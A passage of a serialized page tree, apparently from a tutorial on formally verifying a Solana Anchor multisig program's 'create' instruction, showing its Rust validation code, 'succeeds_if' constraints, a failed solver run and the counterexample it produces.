members",{"type":23,"tag":504,"props":21864,"children":21865},{"style":598},[21866],{"type":28,"value":3472},{"type":23,"tag":504,"props":21868,"children":21869},{"style":1012},[21870],{"type":28,"value":20370},{"type":23,"tag":504,"props":21872,"children":21873},{"style":523},[21874],{"type":28,"value":4789},{"type":23,"tag":504,"props":21876,"children":21877},{"style":1012},[21878],{"type":28,"value":20379},{"type":23,"tag":504,"props":21880,"children":21881},{"style":523},[21882],{"type":28,"value":21883},">)]\n",{"type":23,"tag":504,"props":21885,"children":21886},{"class":506,"line":555},[21887,21891,21895,21900,21905,21910],{"type":23,"tag":504,"props":21888,"children":21889},{"style":511},[21890],{"type":28,"value":12671},{"type":23,"tag":504,"props":21892,"children":21893},{"style":511},[21894],{"type":28,"value":20132},{"type":23,"tag":504,"props":21896,"children":21897},{"style":1012},[21898],{"type":28,"value":21899}," Create",{"type":23,"tag":504,"props":21901,"children":21902},{"style":523},[21903],{"type":28,"value":21904},"\u003C'",{"type":23,"tag":504,"props":21906,"children":21907},{"style":1012},[21908],{"type":28,"value":21909},"info",{"type":23,"tag":504,"props":21911,"children":21912},{"style":523},[21913],{"type":28,"value":6264},{"type":23,"tag":504,"props":21915,"children":21916},{"class":506,"line":633},[21917],{"type":23,"tag":504,"props":21918,"children":21919},{"style":523},[21920],{"type":28,"value":21921},"    #[account(\n",{"type":23,"tag":504,"props":21923,"children":21924},{"class":506,"line":687},[21925],{"type":23,"tag":504,"props":21926,"children":21927},{"style":523},[21928],{"type":28,"value":21929},"        init,\n",{"type":23,"tag":504,"props":21931,"children":21932},{"class":506,"line":736},[21933,21938,21942],{"type":23,"tag":504,"props":21934,"children":21935},{"style":523},[21936],{"type":28,"value":21937},"        payer ",{"type":23,"tag":504,"props":21939,"children":21940},{"style":598},[21941],{"type":28,"value":601},{"type":23,"tag":504,"props":21943,"children":21944},{"style":523},[21945],{"type":28,"value":21946}," creator,\n",{"type":23,"tag":504,"props":21948,"children":21949},{"class":506,"line":785},[21950,21955,21959,21963,21967,21972,21976,21981,21985,21989,21993],{"type":23,"tag":504,"props":21951,"children":21952},{"style":523},[21953],{"type":28,"value":21954},"        space ",{"type":23,"tag":504,"props":21956,"children":21957},{"style":598},[21958],{"type":28,"value":601},{"type":23,"tag":504,"props":21960,"children":21961},{"style":1012},[21962],{"type":28,"value":20137},{"type":23,"tag":504,"props":21964,"children":21965},{"style":598},[21966],{"type":28,"value":2457},{"type":23,"tag":504,"props":21968,"children":21969},{"style":1012},[21970],{"type":28,"value":21971},"SIZE_WITHOUT_MEMBERS",{"type":23,"tag":504,"props":21973,"children":21974},{"style":598},[21975],{"type":28,"value":7888},{"type":23,"tag":504,"props":21977,"children":21978},{"style":523},[21979],{"type":28,"value":21980}," (members",{"type":23,"tag":504,"props":21982,"children":21983},{"style":598},[21984],{"type":28,"value":320},{"type":23,"tag":504,"props":21986,"children":21987},{"style":523},[21988],{"type":28,"value":20002},{"type":23,"tag":504,"props":21990,"children":21991},{"style":598},[21992],{"type":28,"value":3552},{"type":23,"tag":504,"props":21994,"children":21995},{"style":523},[21996],{"type":28,"value":21997}," 32),\n",{"type":23,"tag":504,"props":21999,"children":22000},{"class":506,"line":813},[22001,22006,22010,22014,22019,22023,22027,22032,22037,22042],{"type":23,"tag":504,"props":22002,"children":22003},{"style":523},[22004],{"type":28,"value":22005},"        seeds ",{"type":23,"tag":504,"props":22007,"children":22008},{"style":598},[22009],{"type":28,"value":601},{"type":23,"tag":504,"props":22011,"children":22012},{"style":523},[22013],{"type":28,"value":566},{"type":23,"tag":504,"props":22015,"children":22016},{"style":622},[22017],{"type":28,"value":22018},"b\"squad\"",{"type":23,"tag":504,"props":22020,"children":22021},{"style":523},[22022],{"type":28,"value":21849},{"type":23,"tag":504,"props":22024,"children":22025},{"style":598},[22026],{"type":28,"value":320},{"type":23,"tag":504,"props":22028,"children":22029},{"style":523},[22030],{"type":28,"value":22031},"as_ref(), ",{"type":23,"tag":504,"props":22033,"children":22034},{"style":622},[22035],{"type":28,"value":22036},"b\"multisig\"",{"type":23,"tag":504,"props":22038,"children":22039},{"style":523},[22040],{"type":28,"value":22041},"], ",{"type":23,"tag":504,"props":22043,"children":22044},{"style":529},[22045],{"type":28,"value":22046},"bump\n",{"type":23,"tag":504,"props":22048,"children":22049},{"class":506,"line":851},[22050],{"type":23,"tag":504,"props":22051,"children":22052},{"style":523},[22053],{"type":28,"value":22054},"    )]\n",{"type":23,"tag":504,"props":22056,"children":22057},{"class":506,"line":869},[22058,22062,22067,22071,22076,22080,22084,22088,22092],{"type":23,"tag":504,"props":22059,"children":22060},{"style":511},[22061],{"type":28,"value":19824},{"type":23,"tag":504,"props":22063,"children":22064},{"style":529},[22065],{"type":28,"value":22066}," multisig",{"type":23,"tag":504,"props":22068,"children":22069},{"style":598},[22070],{"type":28,"value":3472},{"type":23,"tag":504,"props":22072,"children":22073},{"style":1012},[22074],{"type":28,"value":22075}," Account",{"type":23,"tag":504,"props":22077,"children":22078},{"style":523},[22079],{"type":28,"value":21904},{"type":23,"tag":504,"props":22081,"children":22082},{"style":1012},[22083],{"type":28,"value":21909},{"type":23,"tag":504,"props":22085,"children":22086},{"style":523},[22087],{"type":28,"value":576},{"type":23,"tag":504,"props":22089,"children":22090},{"style":1012},[22091],{"type":28,"value":21723},{"type":23,"tag":504,"props":22093,"children":22094},{"style":523},[22095],{"type":28,"value":5122},{"type":23,"tag":504,"props":22097,"children":22098},{"class":506,"line":878},[22099],{"type":23,"tag":504,"props":22100,"children":22101},{"emptyLinePlaceholder":16},[22102],{"type":28,"value":1038},{"type":23,"tag":504,"props":22104,"children":22105},{"class":506,"line":1221},[22106,22111,22115],{"type":23,"tag":504,"props":22107,"children":22108},{"style":523},[22109],{"type":28,"value":22110},"    #[account(",{"type":23,"tag":504,"props":22112,"children":22113},{"style":511},[22114],{"type":28,"value":2701},{"type":23,"tag":504,"props":22116,"children":22117},{"style":523},[22118],{"type":28,"value":19240},{"type":23,"tag":504,"props":22120,"children":22121},{"class":506,"line":1276},[22122,22126,22131,22135,22140,22144,22148],{"type":23,"tag":504,"props":22123,"children":22124},{"style":511},[22125],{"type":28,"value":19824},{"type":23,"tag":504,"props":22127,"children":22128},{"style":529},[22129],{"type":28,"value":22130}," creator",{"type":23,"tag":504,"props":22132,"children":22133},{"style":598},[22134],{"type":28,"value":3472},{"type":23,"tag":504,"props":22136,"children":22137},{"style":1012},[22138],{"type":28,"value":22139}," Signer",{"type":23,"tag":504,"props":22141,"children":22142},{"style":523},[22143],{"type":28,"value":21904},{"type":23,"tag":504,"props":22145,"children":22146},{"style":1012},[22147],{"type":28,"value":21909},{"type":23,"tag":504,"props":22149,"children":22150},{"style":523},[22151],{"type":28,"value":5122},{"type":23,"tag":504,"props":22153,"children":22154},{"class":506,"line":1285},[22155,22159,22164,22168,22173,22177,22181,22185,22190],{"type":23,"tag":504,"props":22156,"children":22157},{"style":511},[22158],{"type":28,"value":19824},{"type":23,"tag":504,"props":22160,"children":22161},{"style":529},[22162],{"type":28,"value":22163}," system_program",{"type":23,"tag":504,"props":22165,"children":22166},{"style":598},[22167],{"type":28,"value":3472},{"type":23,"tag":504,"props":22169,"children":22170},{"style":1012},[22171],{"type":28,"value":22172}," Program",{"type":23,"tag":504,"props":22174,"children":22175},{"style":523},[22176],{"type":28,"value":21904},{"type":23,"tag":504,"props":22178,"children":22179},{"style":1012},[22180],{"type":28,"value":21909},{"type":23,"tag":504,"props":22182,"children":22183},{"style":523},[22184],{"type":28,"value":576},{"type":23,"tag":504,"props":22186,"children":22187},{"style":1012},[22188],{"type":28,"value":22189},"System",{"type":23,"tag":504,"props":22191,"children":22192},{"style":523},[22193],{"type":28,"value":5122},{"type":23,"tag":504,"props":22195,"children":22196},{"class":506,"line":1294},[22197],{"type":23,"tag":504,"props":22198,"children":22199},{"style":523},[22200],{"type":28,"value":884},{"type":23,"tag":504,"props":22202,"children":22203},{"class":506,"line":1302},[22204],{"type":23,"tag":504,"props":22205,"children":22206},{"emptyLinePlaceholder":16},[22207],{"type":28,"value":1038},{"type":23,"tag":504,"props":22209,"children":22210},{"class":506,"line":1311},[22211,22215,22219,22223],{"type":23,"tag":504,"props":22212,"children":22213},{"style":511},[22214],{"type":28,"value":12671},{"type":23,"tag":504,"props":22216,"children":22217},{"style":511},[22218],{"type":28,"value":12676},{"type":23,"tag":504,"props":22220,"children":22221},{"style":517},[22222],{"type":28,"value":6096},{"type":23,"tag":504,"props":22224,"children":22225},{"style":523},[22226],{"type":28,"value":2439},{"type":23,"tag":504,"props":22228,"children":22229},{"class":506,"line":1334},[22230,22234,22238,22242,22246,22251],{"type":23,"tag":504,"props":22231,"children":22232},{"style":529},[22233],{"type":28,"value":19205},{"type":23,"tag":504,"props":22235,"children":22236},{"style":598},[22237],{"type":28,"value":3472},{"type":23,"tag":504,"props":22239,"children":22240},{"style":1012},[22241],{"type":28,"value":19271},{"type":23,"tag":504,"props":22243,"children":22244},{"style":523},[22245],{"type":28,"value":4789},{"type":23,"tag":504,"props":22247,"children":22248},{"style":1012},[22249],{"type":28,"value":22250},"Create",{"type":23,"tag":504,"props":22252,"children":22253},{"style":523},[22254],{"type":28,"value":5122},{"type":23,"tag":504,"props":22256,"children":22257},{"class":506,"line":1370},[22258,22263,22267,22271],{"type":23,"tag":504,"props":22259,"children":22260},{"style":529},[22261],{"type":28,"value":22262},"    threshold",{"type":23,"tag":504,"props":22264,"children":22265},{"style":598},[22266],{"type":28,"value":3472},{"type":23,"tag":504,"props":22268,"children":22269},{"style":1012},[22270],{"type":28,"value":20011},{"type":23,"tag":504,"props":22272,"children":22273},{"style":523},[22274],{"type":28,"value":2484},{"type":23,"tag":504,"props":22276,"children":22277},{"class":506,"line":1384},[22278,22283,22287,22291],{"type":23,"tag":504,"props":22279,"children":22280},{"style":529},[22281],{"type":28,"value":22282},"    create_key",{"type":23,"tag":504,"props":22284,"children":22285},{"style":598},[22286],{"type":28,"value":3472},{"type":23,"tag":504,"props":22288,"children":22289},{"style":1012},[22290],{"type":28,"value":19838},{"type":23,"tag":504,"props":22292,"children":22293},{"style":523},[22294],{"type":28,"value":2484},{"type":23,"tag":504,"props":22296,"children":22297},{"class":506,"line":1392},[22298,22303,22307,22311,22315,22319],{"type":23,"tag":504,"props":22299,"children":22300},{"style":529},[22301],{"type":28,"value":22302},"    members",{"type":23,"tag":504,"props":22304,"children":22305},{"style":598},[22306],{"type":28,"value":3472},{"type":23,"tag":504,"props":22308,"children":22309},{"style":1012},[22310],{"type":28,"value":20370},{"type":23,"tag":504,"props":22312,"children":22313},{"style":523},[22314],{"type":28,"value":4789},{"type":23,"tag":504,"props":22316,"children":22317},{"style":1012},[22318],{"type":28,"value":20379},{"type":23,"tag":504,"props":22320,"children":22321},{"style":523},[22322],{"type":28,"value":5122},{"type":23,"tag":504,"props":22324,"children":22325},{"class":506,"line":1400},[22326,22330,22334,22338],{"type":23,"tag":504,"props":22327,"children":22328},{"style":523},[22329],{"type":28,"value":2064},{"type":23,"tag":504,"props":22331,"children":22332},{"style":598},[22333],{"type":28,"value":12738},{"type":23,"tag":504,"props":22335,"children":22336},{"style":1012},[22337],{"type":28,"value":12743},{"type":23,"tag":504,"props":22339,"children":22340},{"style":523},[22341],{"type":28,"value":19313},{"type":23,"tag":504,"props":22343,"children":22344},{"class":506,"line":1422},[22345],{"type":23,"tag":504,"props":22346,"children":22347},{"style":1106},[22348],{"type":28,"value":22349},"    // sort the members and remove duplicates\n",{"type":23,"tag":504,"props":22351,"children":22352},{"class":506,"line":1450},[22353,22357,22361,22366,22370,22374],{"type":23,"tag":504,"props":22354,"children":22355},{"style":511},[22356],{"type":28,"value":1977},{"type":23,"tag":504,"props":22358,"children":22359},{"style":511},[22360],{"type":28,"value":1982},{"type":23,"tag":504,"props":22362,"children":22363},{"style":529},[22364],{"type":28,"value":22365}," members",{"type":23,"tag":504,"props":22367,"children":22368},{"style":598},[22369],{"type":28,"value":648},{"type":23,"tag":504,"props":22371,"children":22372},{"style":529},[22373],{"type":28,"value":22365},{"type":23,"tag":504,"props":22375,"children":22376},{"style":523},[22377],{"type":28,"value":866},{"type":23,"tag":504,"props":22379,"children":22380},{"class":506,"line":1463},[22381,22385,22389,22394],{"type":23,"tag":504,"props":22382,"children":22383},{"style":529},[22384],{"type":28,"value":22302},{"type":23,"tag":504,"props":22386,"children":22387},{"style":598},[22388],{"type":28,"value":320},{"type":23,"tag":504,"props":22390,"children":22391},{"style":517},[22392],{"type":28,"value":22393},"sort",{"type":23,"tag":504,"props":22395,"children":22396},{"style":523},[22397],{"type":28,"value":2647},{"type":23,"tag":504,"props":22399,"children":22400},{"class":506,"line":1485},[22401,22405,22409,22414],{"type":23,"tag":504,"props":22402,"children":22403},{"style":529},[22404],{"type":28,"value":22302},{"type":23,"tag":504,"props":22406,"children":22407},{"style":598},[22408],{"type":28,"value":320},{"type":23,"tag":504,"props":22410,"children":22411},{"style":517},[22412],{"type":28,"value":22413},"dedup",{"type":23,"tag":504,"props":22415,"children":22416},{"style":523},[22417],{"type":28,"value":2647},{"type":23,"tag":504,"props":22419,"children":22420},{"class":506,"line":1503},[22421],{"type":23,"tag":504,"props":22422,"children":22423},{"emptyLinePlaceholder":16},[22424],{"type":28,"value":1038},{"type":23,"tag":504,"props":22426,"children":22427},{"class":506,"line":1516},[22428],{"type":23,"tag":504,"props":22429,"children":22430},{"style":1106},[22431],{"type":28,"value":22432},"    // check we don't exceed u16\n",{"type":23,"tag":504,"props":22434,"children":22435},{"class":506,"line":1543},[22436,22440,22445,22449,22453,22457,22461],{"type":23,"tag":504,"props":22437,"children":22438},{"style":511},[22439],{"type":28,"value":1977},{"type":23,"tag":504,"props":22441,"children":22442},{"style":529},[22443],{"type":28,"value":22444}," total_members",{"type":23,"tag":504,"props":22446,"children":22447},{"style":598},[22448],{"type":28,"value":648},{"type":23,"tag":504,"props":22450,"children":22451},{"style":529},[22452],{"type":28,"value":22365},{"type":23,"tag":504,"props":22454,"children":22455},{"style":598},[22456],{"type":28,"value":320},{"type":23,"tag":504,"props":22458,"children":22459},{"style":517},[22460],{"type":28,"value":8121},{"type":23,"tag":504,"props":22462,"children":22463},{"style":523},[22464],{"type":28,"value":2647},{"type":23,"tag":504,"props":22466,"children":22467},{"class":506,"line":1583},[22468,22472,22476,22480,22484],{"type":23,"tag":504,"props":22469,"children":22470},{"style":544},[22471],{"type":28,"value":11261},{"type":23,"tag":504,"props":22473,"children":22474},{"style":529},[22475],{"type":28,"value":22444},{"type":23,"tag":504,"props":22477,"children":22478},{"style":598},[22479],{"type":28,"value":7702},{"type":23,"tag":504,"props":22481,"children":22482},{"style":1440},[22483],{"type":28,"value":3504},{"type":23,"tag":504,"props":22485,"children":22486},{"style":523},[22487],{"type":28,"value":552},{"type":23,"tag":504,"props":22489,"children":22490},{"class":506,"line":1605},[22491,22495,22500,22504,22509,22513,22518],{"type":23,"tag":504,"props":22492,"children":22493},{"style":544},[22494],{"type":28,"value":742},{"type":23,"tag":504,"props":22496,"children":22497},{"style":517},[22498],{"type":28,"value":22499}," err!",{"type":23,"tag":504,"props":22501,"children":22502},{"style":523},[22503],{"type":28,"value":526},{"type":23,"tag":504,"props":22505,"children":22506},{"style":1012},[22507],{"type":28,"value":22508},"MsError",{"type":23,"tag":504,"props":22510,"children":22511},{"style":598},[22512],{"type":28,"value":2457},{"type":23,"tag":504,"props":22514,"children":22515},{"style":1012},[22516],{"type":28,"value":22517},"EmptyMembers",{"type":23,"tag":504,"props":22519,"children":22520},{"style":523},[22521],{"type":28,"value":630},{"type":23,"tag":504,"props":22523,"children":22524},{"class":506,"line":1614},[22525],{"type":23,"tag":504,"props":22526,"children":22527},{"style":523},[22528],{"type":28,"value":875},{"type":23,"tag":504,"props":22530,"children":22531},{"class":506,"line":1627},[22532],{"type":23,"tag":504,"props":22533,"children":22534},{"emptyLinePlaceholder":16},[22535],{"type":28,"value":1038},{"type":23,"tag":504,"props":22537,"children":22538},{"class":506,"line":1655},[22539],{"type":23,"tag":504,"props":22540,"children":22541},{"style":1106},[22542],{"type":28,"value":22543},"    // make sure we don't exceed u16 on first call\n",{"type":23,"tag":504,"props":22545,"children":22546},{"class":506,"line":1668},[22547,22551,22555,22559,22563,22567,22571,22576,22580],{"type":23,"tag":504,"props":22548,"children":22549},{"style":544},[22550],{"type":28,"value":11261},{"type":23,"tag":504,"props":22552,"children":22553},{"style":529},[22554],{"type":28,"value":22444},{"type":23,"tag":504,"props":22556,"children":22557},{"style":598},[22558],{"type":28,"value":13175},{"type":23,"tag":504,"props":22560,"children":22561},{"style":1012},[22562],{"type":28,"value":12712},{"type":23,"tag":504,"props":22564,"children":22565},{"style":598},[22566],{"type":28,"value":2457},{"type":23,"tag":504,"props":22568,"children":22569},{"style":517},[22570],{"type":28,"value":18455},{"type":23,"tag":504,"props":22572,"children":22573},{"style":523},[22574],{"type":28,"value":22575},"(u16",{"type":23,"tag":504,"props":22577,"children":22578},{"style":598},[22579],{"type":28,"value":2457},{"type":23,"tag":504,"props":22581,"children":22582},{"style":523},[22583],{"type":28,"value":22584},"MAX) {\n",{"type":23,"tag":504,"props":22586,"children":22587},{"class":506,"line":1682},[22588,22592,22596,22600,22604,22608,22613],{"type":23,"tag":504,"props":22589,"children":22590},{"style":544},[22591],{"type":28,"value":742},{"type":23,"tag":504,"props":22593,"children":22594},{"style":517},[22595],{"type":28,"value":22499},{"type":23,"tag":504,"props":22597,"children":22598},{"style":523},[22599],{"type":28,"value":526},{"type":23,"tag":504,"props":22601,"children":22602},{"style":1012},[22603],{"type":28,"value":22508},{"type":23,"tag":504,"props":22605,"children":22606},{"style":598},[22607],{"type":28,"value":2457},{"type":23,"tag":504,"props":22609,"children":22610},{"style":1012},[22611],{"type":28,"value":22612},"MaxMembersReached",{"type":23,"tag":504,"props":22614,"children":22615},{"style":523},[22616],{"type":28,"value":630},{"type":23,"tag":504,"props":22618,"children":22619},{"class":506,"line":1691},[22620],{"type":23,"tag":504,"props":22621,"children":22622},{"style":523},[22623],{"type":28,"value":875},{"type":23,"tag":504,"props":22625,"children":22626},{"class":506,"line":1699},[22627],{"type":23,"tag":504,"props":22628,"children":22629},{"emptyLinePlaceholder":16},[22630],{"type":28,"value":1038},{"type":23,"tag":504,"props":22632,"children":22633},{"class":506,"line":1708},[22634],{"type":23,"tag":504,"props":22635,"children":22636},{"style":1106},[22637],{"type":28,"value":22638},"    // make sure threshold is valid\n",{"type":23,"tag":504,"props":22640,"children":22641},{"class":506,"line":1717},[22642,22646,22650,22654,22658,22662,22666,22671,22675,22680,22684,22688,22692,22696,22700,22705,22710],{"type":23,"tag":504,"props":22643,"children":22644},{"style":544},[22645],{"type":28,"value":11261},{"type":23,"tag":504,"props":22647,"children":22648},{"style":1012},[22649],{"type":28,"value":12712},{"type":23,"tag":504,"props":22651,"children":22652},{"style":598},[22653],{"type":28,"value":2457},{"type":23,"tag":504,"props":22655,"children":22656},{"style":517},[22657],{"type":28,"value":18455},{"type":23,"tag":504,"props":22659,"children":22660},{"style":523},[22661],{"type":28,"value":526},{"type":23,"tag":504,"props":22663,"children":22664},{"style":529},[22665],{"type":28,"value":21731},{"type":23,"tag":504,"props":22667,"children":22668},{"style":523},[22669],{"type":28,"value":22670},") \u003C ",{"type":23,"tag":504,"props":22672,"children":22673},{"style":1440},[22674],{"type":28,"value":2991},{"type":23,"tag":504,"props":22676,"children":22677},{"style":598},[22678],{"type":28,"value":22679}," ||",{"type":23,"tag":504,"props":22681,"children":22682},{"style":1012},[22683],{"type":28,"value":12712},{"type":23,"tag":504,"props":22685,"children":22686},{"style":598},[22687],{"type":28,"value":2457},{"type":23,"tag":504,"props":22689,"children":22690},{"style":517},[22691],{"type":28,"value":18455},{"type":23,"tag":504,"props":22693,"children":22694},{"style":523},[22695],{"type":28,"value":526},{"type":23,"tag":504,"props":22697,"children":22698},{"style":529},[22699],{"type":28,"value":21731},{"type":23,"tag":504,"props":22701,"children":22702},{"style":523},[22703],{"type":28,"value":22704},") > ",{"type":23,"tag":504,"props":22706,"children":22707},{"style":529},[22708],{"type":28,"value":22709},"total_members",{"type":23,"tag":504,"props":22711,"children":22712},{"style":523},[22713],{"type":28,"value":552},{"type":23,"tag":504,"props":22715,"children":22716},{"class":506,"line":1725},[22717,22721,22725,22729,22733,22737,22742],{"type":23,"tag":504,"props":22718,"children":22719},{"style":544},[22720],{"type":28,"value":742},{"type":23,"tag":504,"props":22722,"children":22723},{"style":517},[22724],{"type":28,"value":22499},{"type":23,"tag":504,"props":22726,"children":22727},{"style":523},[22728],{"type":28,"value":526},{"type":23,"tag":504,"props":22730,"children":22731},{"style":1012},[22732],{"type":28,"value":22508},{"type":23,"tag":504,"props":22734,"children":22735},{"style":598},[22736],{"type":28,"value":2457},{"type":23,"tag":504,"props":22738,"children":22739},{"style":1012},[22740],{"type":28,"value":22741},"InvalidThreshold",{"type":23,"tag":504,"props":22743,"children":22744},{"style":523},[22745],{"type":28,"value":630},{"type":23,"tag":504,"props":22747,"children":22748},{"class":506,"line":1757},[22749],{"type":23,"tag":504,"props":22750,"children":22751},{"style":523},[22752],{"type":28,"value":875},{"type":23,"tag":504,"props":22754,"children":22755},{"class":506,"line":1765},[22756],{"type":23,"tag":504,"props":22757,"children":22758},{"emptyLinePlaceholder":16},[22759],{"type":28,"value":1038},{"type":23,"tag":504,"props":22761,"children":22763},{"class":506,"line":22762},44,[22764,22768,22772,22776,22780,22785,22789,22793],{"type":23,"tag":504,"props":22765,"children":22766},{"style":529},[22767],{"type":28,"value":19205},{"type":23,"tag":504,"props":22769,"children":22770},{"style":598},[22771],{"type":28,"value":320},{"type":23,"tag":504,"props":22773,"children":22774},{"style":523},[22775],{"type":28,"value":13656},{"type":23,"tag":504,"props":22777,"children":22778},{"style":598},[22779],{"type":28,"value":320},{"type":23,"tag":504,"props":22781,"children":22782},{"style":523},[22783],{"type":28,"value":22784},"multisig",{"type":23,"tag":504,"props":22786,"children":22787},{"style":598},[22788],{"type":28,"value":320},{"type":23,"tag":504,"props":22790,"children":22791},{"style":517},[22792],{"type":28,"value":19722},{"type":23,"tag":504,"props":22794,"children":22795},{"style":523},[22796],{"type":28,"value":2439},{"type":23,"tag":504,"props":22798,"children":22800},{"class":506,"line":22799},45,[22801,22806],{"type":23,"tag":504,"props":22802,"children":22803},{"style":529},[22804],{"type":28,"value":22805},"        threshold",{"type":23,"tag":504,"props":22807,"children":22808},{"style":523},[22809],{"type":28,"value":2484},{"type":23,"tag":504,"props":22811,"children":22813},{"class":506,"line":22812},46,[22814,22819],{"type":23,"tag":504,"props":22815,"children":22816},{"style":529},[22817],{"type":28,"value":22818},"        create_key",{"type":23,"tag":504,"props":22820,"children":22821},{"style":523},[22822],{"type":28,"value":2484},{"type":23,"tag":504,"props":22824,"children":22826},{"class":506,"line":22825},47,[22827,22832],{"type":23,"tag":504,"props":22828,"children":22829},{"style":529},[22830],{"type":28,"value":22831},"        members",{"type":23,"tag":504,"props":22833,"children":22834},{"style":523},[22835],{"type":28,"value":2484},{"type":23,"tag":504,"props":22837,"children":22839},{"class":506,"line":22838},48,[22840,22844,22848,22852,22857,22861,22865,22869,22874,22878,22882,22886],{"type":23,"tag":504,"props":22841,"children":22842},{"style":598},[22843],{"type":28,"value":6734},{"type":23,"tag":504,"props":22845,"children":22846},{"style":529},[22847],{"type":28,"value":19262},{"type":23,"tag":504,"props":22849,"children":22850},{"style":598},[22851],{"type":28,"value":320},{"type":23,"tag":504,"props":22853,"children":22854},{"style":523},[22855],{"type":28,"value":22856},"bumps",{"type":23,"tag":504,"props":22858,"children":22859},{"style":598},[22860],{"type":28,"value":320},{"type":23,"tag":504,"props":22862,"children":22863},{"style":517},[22864],{"type":28,"value":15330},{"type":23,"tag":504,"props":22866,"children":22867},{"style":523},[22868],{"type":28,"value":526},{"type":23,"tag":504,"props":22870,"children":22871},{"style":622},[22872],{"type":28,"value":22873},"\"multisig\"",{"type":23,"tag":504,"props":22875,"children":22876},{"style":523},[22877],{"type":28,"value":2105},{"type":23,"tag":504,"props":22879,"children":22880},{"style":598},[22881],{"type":28,"value":320},{"type":23,"tag":504,"props":22883,"children":22884},{"style":517},[22885],{"type":28,"value":2642},{"type":23,"tag":504,"props":22887,"children":22888},{"style":523},[22889],{"type":28,"value":2467},{"type":23,"tag":504,"props":22891,"children":22893},{"class":506,"line":22892},49,[22894],{"type":23,"tag":504,"props":22895,"children":22896},{"style":523},[22897],{"type":28,"value":22898},"    )\n",{"type":23,"tag":504,"props":22900,"children":22902},{"class":506,"line":22901},50,[22903],{"type":23,"tag":504,"props":22904,"children":22905},{"style":523},[22906],{"type":28,"value":884},{"type":23,"tag":24,"props":22908,"children":22909},{},[22910,22912,22917,22919,22924],{"type":28,"value":22911},"We can start by testing an empty ",{"type":23,"tag":56,"props":22913,"children":22915},{"className":22914},[],[22916],{"type":28,"value":19136},{"type":28,"value":22918}," (this will default to ",{"type":23,"tag":56,"props":22920,"children":22922},{"className":22921},[],[22923],{"type":28,"value":2972},{"type":28,"value":22925},"):",{"type":23,"tag":494,"props":22927,"children":22929},{"code":22928,"language":1956,"meta":7,"className":1957,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[22930],{"type":23,"tag":56,"props":22931,"children":22932},{"__ignoreMap":7},[22933,22941],{"type":23,"tag":504,"props":22934,"children":22935},{"class":506,"line":507},[22936],{"type":23,"tag":504,"props":22937,"children":22938},{"style":523},[22939],{"type":28,"value":22940},"#[succeeds_if()]\n",{"type":23,"tag":504,"props":22942,"children":22943},{"class":506,"line":540},[22944,22948,22952,22956,22960,22964,22969,22973],{"type":23,"tag":504,"props":22945,"children":22946},{"style":511},[22947],{"type":28,"value":12671},{"type":23,"tag":504,"props":22949,"children":22950},{"style":511},[22951],{"type":28,"value":12676},{"type":23,"tag":504,"props":22953,"children":22954},{"style":517},[22955],{"type":28,"value":6096},{"type":23,"tag":504,"props":22957,"children":22958},{"style":523},[22959],{"type":28,"value":526},{"type":23,"tag":504,"props":22961,"children":22962},{"style":598},[22963],{"type":28,"value":8572},{"type":23,"tag":504,"props":22965,"children":22966},{"style":523},[22967],{"type":28,"value":22968},") { ",{"type":23,"tag":504,"props":22970,"children":22971},{"style":598},[22972],{"type":28,"value":8572},{"type":23,"tag":504,"props":22974,"children":22975},{"style":523},[22976],{"type":28,"value":1652},{"type":23,"tag":24,"props":22978,"children":22979},{},[22980],{"type":28,"value":22981},"Running the solver, we get:",{"type":23,"tag":494,"props":22983,"children":22985},{"code":22984},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[22986],{"type":23,"tag":56,"props":22987,"children":22988},{"__ignoreMap":7},[22989],{"type":28,"value":22984},{"type":23,"tag":24,"props":22991,"children":22992},{},[22993,22995,23000],{"type":28,"value":22994},"This means that ",{"type":23,"tag":56,"props":22996,"children":22998},{"className":22997},[],[22999],{"type":28,"value":2972},{"type":28,"value":23001}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":23,"tag":24,"props":23003,"children":23004},{},[23005],{"type":28,"value":23006},"We can ask the solver to produce a counterexample:",{"type":23,"tag":494,"props":23008,"children":23010},{"code":23009},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[23011],{"type":23,"tag":56,"props":23012,"children":23013},{"__ignoreMap":7},[23014],{"type":28,"value":23009},{"type":23,"tag":24,"props":23016,"children":23017},{},[23018],{"type":28,"value":23019},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":23,"tag":24,"props":23021,"children":23022},{},[23023],{"type":23,"tag":1887,"props":23024,"children":23025},{},[23026,23028,23034],{"type":28,"value":23027},"Note also that the verifier decided to use a ",{"type":23,"tag":56,"props":23029,"children":23031},{"className":23030},[],[23032],{"type":28,"value":23033},"SparseVec",{"type":28,"value":23035}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":23,"tag":24,"props":23037,"children":23038},{},[23039],{"type":23,"tag":1887,"props":23040,"children":23041},{},[23042,23044,23049,23050,23056,23058,23063,23065,23070],{"type":28,"value":23043},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":23,"tag":56,"props":23045,"children":23047},{"className":23046},[],[23048],{"type":28,"value":2790},{"type":28,"value":430},{"type":23,"tag":56,"props":23051,"children":23053},{"className":23052},[],[23054],{"type":28,"value":23055},"pop",{"type":28,"value":23057}," are stubbed out to simply panic for the ",{"type":23,"tag":56,"props":23059,"children":23061},{"className":23060},[],[23062],{"type":28,"value":23033},{"type":28,"value":23064}," and if this code tried to do that we would fall back to the concrete ",{"type":23,"tag":56,"props":23066,"children":23068},{"className":23067},[],[23069],{"type":28,"value":16190},{"type":28,"value":23071}," type.",{"type":23,"tag":24,"props":23073,"children":23074},{},[23075],{"type":28,"value":23076},"We can add this to our constraint and try again:",{"type":23,"tag":494,"props":23078,"children":23080},{"code":23079,"language":1956,"meta":7,"className":1957,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[23081],{"type":23,"tag":56,"props":23082,"children":23083},{"__ignoreMap":7},[23084,23092,23129,23136],{"type":23,"tag":504,"props":23085,"children":23086},{"class":506,"line":507},[23087],{"type":23,"tag":504,"props":23088,"children":23089},{"style":523},[23090],{"type":28,"value":23091},"#[succeeds_if(\n",{"type":23,"tag":504,"props":23093,"children":23094},{"class":506,"line":540},[23095,23100,23104,23108,23112,23116,23120,23124],{"type":23,"tag":504,"props":23096,"children":23097},{"style":523},[23098],{"type":28,"value":23099},"    (threshold 